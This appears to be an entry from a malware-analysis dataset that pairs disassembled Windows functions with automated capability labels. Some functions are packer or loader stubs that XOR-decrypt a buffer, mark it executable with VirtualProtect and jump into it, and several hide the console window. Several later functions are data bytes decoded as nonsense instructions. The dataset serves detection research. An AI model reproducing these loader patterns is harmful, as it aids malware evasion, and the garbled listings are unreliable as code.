joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019d0
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
push esi
push edi
call ebx
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0x430a
call edi
mov esi, dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0x7b35
push 0
call esi
push 0
push 0
push 0x24a1
push 0
call esi
call ebx
push 0
push 0x2c78
call edi
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcessId]
push str.kernel32.dll
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
push 0
mov dword [ebp - 8], eax
call dword [sym.imp.api_ms_win_core_console_l3_2_0.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x9c40
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
cmp dword [0x444a08], 0x10
mov edx, 0x4449f4
push dword [0x444a04]
cmovae edx, dword [0x4449f4]
call fcn.00401fe0
mov edi, 1
mov ebx, 2
mov eax, 3
add esp, 4
xor esi, esi
sub edi, 0x42a1f0
sub ebx, 0x42a1f0
sub eax, 0x42a1f0
mov dword [ebp - 4], eax
nop dword [eax + eax]
mov eax, 0x51eb851f
mov ecx, esi
mul esi
shr edx, 3
imul eax, edx, 0x19
sub ecx, eax
movzx eax, byte [ecx + 0x426810]
lea ecx, [edi + 0x42a1f0]
xor byte [esi + 0x42a1f0], al
add ecx, esi
mov eax, 0x51eb851f
mul ecx
mov ecx, esi
shr edx, 3
imul eax, edx, 0x19
sub ecx, eax
movzx eax, byte [ecx + 0x426811]
lea ecx, [ebx + 0x42a1f0]
xor byte [esi + 0x42a1f1], al
add ecx, esi
mov eax, 0x51eb851f
mul ecx
mov ecx, esi
shr edx, 3
imul eax, edx, 0x19
sub ecx, eax
movzx eax, byte [ecx + 0x426812]
xor byte [esi + 0x42a1f2], al
mov eax, dword [ebp - 4]
lea ecx, [eax + 0x42a1f0]
mov eax, 0x51eb851f
add ecx, esi
mul ecx
mov ecx, esi
shr edx, 3
imul eax, edx, 0x19
sub ecx, eax
movzx eax, byte [ecx + 0x426813]
xor byte [esi + str.DEygsrTAF], al
add esi, 4
cmp esi, 0x1a800
jb 0x401aa0
cmp dword [0x444a08], 0x10
mov edx, 0x4449f4
push dword [0x444a04]
cmovae edx, dword [0x4449f4]
call fcn.00401fe0
mov esi, 1
add esp, 4
xor ecx, ecx
sub esi, 0x429a70
mov eax, 0x51eb851f
mul ecx
shr edx, 3
imul eax, edx, 0x19
mov edx, ecx
sub edx, eax
movzx eax, byte [edx + 0x426810]
lea edx, [esi + 0x429a70]
xor byte [ecx + 0x429a70], al
add edx, ecx
mov eax, 0x51eb851f
mul edx
shr edx, 3
imul eax, edx, 0x19
mov edx, ecx
sub edx, eax
movzx eax, byte [edx + 0x426811]
xor byte [ecx + 0x429a71], al
add ecx, 2
cmp ecx, 0x77e
jb 0x401b70
push 0x445bd4
push 0x40
push 0x77e
push 0x429a70
call dword [ebp - 8]
pushal
or ax, dx
xor ax, ax
mov ax, dx
and edx, 0x28e
and cl, 0x9d
and dl, bh
and ax, ax
xor ch, ah
and ah, 0x6e
or ax, 0x66c2
xor cl, cl
popal
mov eax, 0x42a1f0
push eax
push 0
mov eax, 0x429a70
add eax, 0x180
add eax, 1
lea edi, [0x4449f0]
mov edi, dword [edi]
push edi
call eax
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403a93
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403ab4
jl 0x403aab
test edi, edi
jne 0x403ab4
xor eax, eax
xor edx, edx
jmp 0x403b75
cmp dword [ebx + 0x38], 0
je 0x403ac9
push eax
push edi
push dword [ebp + 8]
call fcn.00403b7b
jmp 0x403b75
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403b10
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403b10
cmp eax, edi
jb 0x403aea
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405e50
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403b16
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403b6a
mov ecx, ebx
call fcn.00403153
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403b55
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00409df8
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403b6a
jmp 0x403b28
test edx, edx
je 0x403b6a
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00409df8
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x403c6a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x403c8c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403d4f
jmp 0x403d4a
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x403cb2
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x403cb7
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov eax, ecx
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x403d17
jg 0x403ccc
test esi, esi
je 0x403d17
test ecx, ecx
jl 0x403d12
jg 0x403cd6
test eax, eax
je 0x403d12
cmp edi, ecx
jg 0x403ce8
jl 0x403ce0
cmp esi, eax
jae 0x403ce8
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.00405e50
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov edx, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 8]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x403d1a
mov ecx, dword [ebp + 8]
jmp 0x403d24
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x403d3e
jg 0x403d24
test esi, esi
je 0x403d3e
cmp dword [ebx + 0x4c], 0
je 0x403d3e
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a464
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x405537
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test eax, eax
je 0x405576
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405576
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405576
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405576
cmp dword [ecx + 0x74], 0xe
jbe 0x405576
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41090e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410784

Function at 0x41b3f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b41d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b41d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x406ad1
pop dword [ebp - 0x14]
mov eax, 0x6c5535b4
sub eax, 0x6c14cae3
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x51812ecf
sub dword [ebp - 0x24], 0x32ee984
mov dword [ebp - 0x20], 0x70cad80f
sub dword [ebp - 0x20], 0x3e978bca
mov dword [ebp - 0x1c], 0x20547335
add dword [ebp - 0x1c], 0x2bf7d0f9
mov dword [ebp - 0x18], 0x61c13686
sub dword [ebp - 0x18], 0x61c13686
lea eax, [ebp - 0x24]
push eax
mov eax, 0xcd21d728
sub eax, 0xcce106d4
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xce712021
add dword [ebp - 0x24], 0xa6014935
mov dword [ebp - 0x20], 0x12e74e42
add dword [ebp - 0x20], 0x2e851333
mov dword [ebp - 0x1c], 0x103c1ac
add dword [ebp - 0x1c], 0x626baac0
mov dword [ebp - 0x18], 0xaaa25ea6
add dword [ebp - 0x18], 0x555da15a
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3a68a
push 0
call eax
mov ecx, 0x47bb9310
add ecx, 0xb844b76b
xor ebx, ebx
add ebx, eax
mov edi, 0x5e5bdd81
sub edi, 0x5e1a2d81
add edi, dword [ebp - 0x14]
mov edx, 0xf5d0096c
sub edx, 0x23250129
xor dword [ebp - 0xc], 0x36af8ce5
mov esi, dword [edi]
sub dword [ebp - 8], ebx
xor esi, edx
xor dword [ebp - 0xc], 0x667361ca
mov dword [ebx], esi
xor dword [ebp - 8], 0x56c6e47c
add ebx, 0xf89ef8ae
sub ebx, 0xf89ef8aa
add edi, 4
loop 0x406bf0
add eax, 0x4f8cd5be
sub eax, 0x4f8bb8ff
xor ebx, ebx
add ebx, eax
add eax, 0x8dfc319b
add eax, 0x7203ce6a
mov ecx, 0x9853ff25
add ecx, 0x67ec00db
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x431002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x37ae187a
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x73933fd3
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40106a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ebx
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x42c3f8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x42c3fc]
push edi
xor edi, edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], edi
call fcn.00401063
mov eax, dword [0x42c400]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x42c404]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, dword [ebp - 0xc]
shl eax, 4
cmp dword [0x1a1cfac], 0xc
mov dword [ebp - 4], eax
jne 0x4010ef
push edi
lea eax, [ebp - 0x34]
push eax
push edi
lea eax, [ebp - 0x434]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x1a1cfac]
cmp eax, 0xfa9
jne 0x40110b
mov dword [0x1a1cfa8], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40111f
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [0x1a1cefc], edi
mov eax, dword [ebp - 0xc]
add eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [0x1a1cfa4], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 8], eax
sub esi, dword [ebp - 8]
cmp dword [0x1a1cfac], 0xc
mov dword [ebp - 4], eax
jne 0x401175
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0xc], eax
add ebx, 0x61c88647
dec dword [ebp - 0x20]
jne 0x4010be
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [eax + 4], esi
pop esi
mov dword [eax], ecx
pop ebx
leave
ret 4
Function at 0x40444c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b250]
jne 0x404456
repz ret
jmp fcn.00409b84

Function at 0x40b16a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f1c
and dword [ebp - 4], 0
cmp dword [0x4357a4], 0
mov ebx, eax
jne 0x40b21b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b2cc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b2cc
push eax
call fcn.00406eaa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4357a4], eax
call esi
push eax
call fcn.00406eaa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4357a8], eax
call esi
push eax
call fcn.00406eaa
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4357ac], eax
call esi
push eax
call fcn.00406eaa
pop ecx
mov dword [0x4357b4], eax
test eax, eax
je 0x40b21b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406eaa
pop ecx
mov dword [0x4357b0], eax
mov eax, dword [0x4357b0]
cmp eax, ebx
je 0x40b273
cmp dword [0x4357b4], ebx
je 0x40b273
push eax
call fcn.00406f25
push dword [0x4357b4]
mov esi, eax
call fcn.00406f25
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b273
test edi, edi
je 0x40b273
call esi
test eax, eax
je 0x40b26a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b26a
test byte [ebp - 0xc], 1
jne 0x40b273
or dword [ebp + 0x10], 0x200000
jmp 0x40b2ac
mov eax, dword [0x4357a8]
cmp eax, ebx
je 0x40b2ac
push eax
call fcn.00406f25
pop ecx
test eax, eax
je 0x40b2ac
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2ac
mov eax, dword [0x4357ac]
cmp eax, ebx
je 0x40b2ac
push eax
call fcn.00406f25
pop ecx
test eax, eax
je 0x40b2ac
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4357a4]
call fcn.00406f25
pop ecx
test eax, eax
je 0x40b2cc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b2ce
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407f44
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415860
push 0x415858
push str.FlsAlloc
push 0x1e
call fcn.00407e05
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407f78
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
jmp 0x407f7e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407fc5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415870
push 0x415868
push str.FlsGetValue
push 0x20
call fcn.00407e05
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407ffc
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40b502
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b59f
push ebx
push esi
call fcn.0040b4cb
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b414
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b54c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b59e
push edi
push eax
call fcn.004086fa
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b56c
call fcn.00407c98
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b59d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b414
add esp, 0x20
test eax, eax
jne 0x40b58b
push edi
call fcn.00407c98
jmp 0x40b593
push ebx
call fcn.00407c98
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413520
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41354d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41354d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407ee3
Capabilities:
Encode data using xor

Disassembly:
stosd dword es:[edi], eax
cdq
push ecx
add byte [esp + ecx + 0x720d5c3c], dh
xchg edi, eax
not dword [esi + 0x70f5e121]
push ss
xchg esi, eax
and ecx, esp
cmc
jo 0x407f0b
push ebp
outsd dx, dword [esi]
jb 0x407f19
sbb al, 0x7f
adc eax, dword [ecx + 3]
jnp 0x407ef0
scasb al, byte es:[edi]
js 0x407ef3
jmp 0x6ceabf24
cmp dword [eax - 0x23b0aed6], ebx
ror byte [ebx + 0x5a], 1
or eax, 0x655112eb
mov ecx, 0x816a31fc
pop ecx
les esp, [eax - 0x3d515faf]
mov al, byte [0xc2aea051]
pop esi
add edx, dword [ebx]
mov al, 0xa0
pop ds
sub eax, esp
popfd
push eax
fsub qword [edi + 0x31]
xor eax, 0x15844375
xor dword [0x15844375], esi
dec ebx
xchg ecx, eax
xchg ebp, eax
jbe 0x407f31
arpl word [esi*4 + 0x1ff00bc4], si
jge 0x407f20
and eax, 0x13b35eb4
jg 0x407eef
nop
retf 0xc0a4

Function at 0x4704f3
Capabilities:
Encode data using xor

Disassembly:
movsd dword es:[edi], dword [esi]
dec edi
mov byte [eax], ch
movsd dword es:[edi], dword [esi]
test eax, 0x9b8c8945
test byte [esp + edx*2 + 0x7816bc64], al
pop ss
jbe 0x4704cc
mov byte [edx - 0x2a17ae4a], ah
in eax, 0x9f
cmp al, 0x73
int3
xchg ebp, eax
push 0x5163f0ec
int 0x99
mov bh, 0xeb
xor byte [ebx - 0x51eb9c7a], 0x66
aad 0x65
xchg ebx, eax
lcall 0xb40, 0xdd195725
cmp dword [ebp + 0x2ff1c648], edx
sub edx, dword [edx]
push ecx
xchg ebp, eax
and ch, al
jae 0x47045b
int1
invalid
test dword [edx], eax
sbb eax, 0xb6f7aa85
and edx, ebp
loope 0x47056e
cmp al, 0xc2
sub ebx, edi
mov ecx, 0x7335a454
pop ss
in eax, dx
jnp 0x4704b1
add eax, 0x868063b9
xor dword [ecx - 0x1e4ea440], ebp
inc ecx
ficomp word [edi - 0x6e]
in eax, 0x65
dec esi
mov edx, 0x78188589
sbb eax, ebp
push es
lds eax, [esi]
js 0x47050b
push 0xdbd3894
les edx, [ecx - 0x29]
movsd dword es:[edi], dword [esi]
jae 0x4705a6
sub byte [eax - 0x43], al
fisubr word [edi]
and edi, ecx
mov ebp, 0xf9232fde
movsd dword es:[edi], dword [esi]
mov cl, 0xb5
add dh, dl
cwde
and eax, 0xcca94fb1
add ebp, dword [edi + 0x2d]
push ss
jno 0x47053c
sbb dword [edi], edi
dec ecx
int1
mov dl, 0x43
cld
leave
mov al, byte [0xf354d73c]
jno 0x470560
pop ebp
sbb ebp, ebp
rol byte [ebx + eax - 0x41839ebe], 0x73
ja 0x47050b
add eax, dword [edx + 0x61]
jl 0x470523
jae 0x4705de
mov dword [0x47ac314f], eax
and byte [ebx], 4
adc eax, 0xe73bc79b
add byte [edi + eax*4 - 0x71], bl
cmp al, 0xb
int1
xchg ebx, eax
dec esp
imul dword [edi - 0x6a47bb0c]
jae 0x4705ae
dec edi
xor dword [edi + eax*2 + 0x15042382], ebp
add al, 0x15
wait
invalid
push ebp
dec edi
push esp
mov edi, 0xb678b15b
std
inc ecx
add al, 0x72
xor byte [ecx - 0x22], dl
mov edi, 0x18d39166
jne 0x4705cf
outsb dx, byte gs:[esi]
test al, 0x3d
dec eax
jno 0x4705fd
xchg esp, eax
ret
invalid
loopne 0x470534
xor eax, esi
mov dword [0xafd8e451], eax
into
add dword [ebp - 0x1dae4766], ebp
das
std
pop es
dec ebx
mov al, 0xde
invalid
fiadd word [ebp + eax - 0x3b]
add byte [ecx], cl
mov edi, 0x4d454085
ret
and dl, ah
fst qword [ebx - 0x7f]
add dword [bx], 0x35d0fa51
jecxz 0x4705f9
xor eax, 0x34ded3e1
out 0x12, eax
xchg dword [eax + 0x7ddec682], ebp
test dword [ebp - 0x4c], esp
push ss
int3
Function at 0x4ea3c4
Capabilities:
Encode data using xor

Disassembly:
out 0x55, al
invalid
sub al, 0x16
and byte [esi + 0x47], dh
pop esi
cmpsb byte [esi], byte es:[edi]
mov bh, 0x68
adc ebx, 0xffffffcc
mov eax, 0x6161ec3c
neg ebp
inc edx
sbb dword [edi + 0x76], ebx
mov bh, 0xef
jbe 0x4ea31b
out dx, eax
xor eax, 0xcb6933d1
xchg esp, eax
mov ebp, 0x4448c391
cwde
pop eax
xor al, 0x5d
lahf
jnp 0x4ea362
stc
jge 0x4ea3e6
add cl, byte [ecx + 0x63]
cmpsd dword [esi], dword es:[edi]
shr byte [edi], cl
rcl edi, 0xdb
xchg edx, eax
dec edx
jmp 0x66cd85e3
and bh, dh
js 0x4ea34c
out dx, eax
call 0x26edaf71
cdq
and al, 0xf6
push ebx
sbb dword [0x3906ee13], ebp
wait
insb byte es:[edi], dx
out 0x83, al
invalid
ror byte [ebx + 0x1e3a46aa], cl
std
sbb dh, ah
mov ch, 0x9c
xchg edx, eax
mov dh, 0x68
push ecx
dec esi
push ss
invalid

Function at 0x5338b0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
mov byte [ebp + 0x45], ah
or edi, dword [ecx - 0x33]
mov byte [edx - 0x5e], ch
mov ds, word [esi]
cmc
mov ebp, 0xd715e80a
add bl, bh
scasd eax, dword es:[edi]
test dword [ecx], esi
jbe 0x533909
push es
mov bh, 0xa
fldcw word [ecx - 0x26920915]
xor byte [eax - 0x71a59c46], bh
fild qword [ecx - 0x30]
mov eax, 0x37c5868c

Function at 0x5338df
Capabilities:
Check for vm using instruction vpcext

Disassembly:
adc byte [0x3323e8f0], al
pushal
cmp byte [0x507689fb], dl
pop eax
cld
jecxz 0x5338fd
pop edi

Function at 0x533910
Capabilities:
Check for vm using instruction vpcext

Disassembly:
insb byte es:[edi], dx
shr dword [ebx + 0x7a076b2d], 0x7e
stosd dword es:[edi], eax
sub eax, 0x7e7a076b
or esp, ecx
ja 0x53395c
js 0x53395d
pop dword [eax - 0x3c]
xor bl, 0x2e
push 0xffffffffffffffbf
mov dword [edi - 0x69], ebx
mov es, esi
jg 0x533959
pop ebp
cmpsd dword [esi], dword es:[edi]
inc ebx
push esp
pop ecx
jp 0x5338f2
sbb bh, bl
push edi
dec esi
push ebp
xor byte [ebx], 0xd0
sub dword [edx], edi
outsd dx, dword [esi]
jnp 0x5338f0
invalid
insb byte es:[edi], dx
push ebp
cli
out 0xce, eax
into
pushfd
cmp bh, byte [ecx + edi*2]
invalid

Function at 0x595a23
Capabilities:
Encode data using xor

Disassembly:
rcr byte [ebx - 0x4c652916], cl
fisttp qword [eax + 0x6273fdfa]
outsb dx, byte [esi]
ficomp dword [esi + 0x39]
mov esi, 0xe53bb37
aas
invalid
Function at 0x5c6448
Capabilities:
Encode data using xor

Disassembly:
mov al, 0x77
sbb eax, 0x2536f5a8
inc edx
mov dh, 0x61
inc esp
mov dh, 0x53
add edx, dword ss:[edi + edi*2]
fmul st(3)
adc eax, 0xe3c1e547
add ah, dh
adc ebp, ebx
xchg esi, eax
fistp qword [ebp + 0x60]
xor byte [esi - 0x2a], dl
xchg bx, ax
cmp dl, 0x7d
xchg byte [esi], bl
lodsb al, byte [esi]
dec esi
xchg ecx, eax
and byte [esp + edx*4 - 0x4d], 0x12
add bh, ah
outsd dx, dword [esi]
ror byte [ebp + 0x45], cl
arpl si, bp
push esp
or bl, byte [edi + edx + 0x6251b6a7]
dec ebx
sub eax, 0x2628b043
mov ebp, 0x1628ace1
cmp byte [esi + 0x3be23222], cl
push ecx
mov cl, 0xb2
sbb eax, 0xad935859
insb byte es:[edi], dx
daa
mov edi, 0xa4e9b493
je 0x5c646d
movsd dword es:[edi], dword [esi]
arpl word [ebp - 0x5a], ax
out 0x23, al
fstp st(5)
xor bh, ch
inc edx
test al, 0x36
xor dword [ecx], esi
xor dword ss:[ecx], esi
jno 0x5c63b5
shl ecx, 0x77
in al, 0x23
jae 0x5c647c
mov eax, 0xaabf942b
movsb byte es:[edi], byte [esi]
mov byte [0x8ec06695], al
inc ebx
loop 0x5c6426
push ss
adc eax, 0x88d7eb87
salc
ret
jne 0x5c6413
jae 0x5c6420
inc esi
clc
xchg edx, eax
invalid
invalid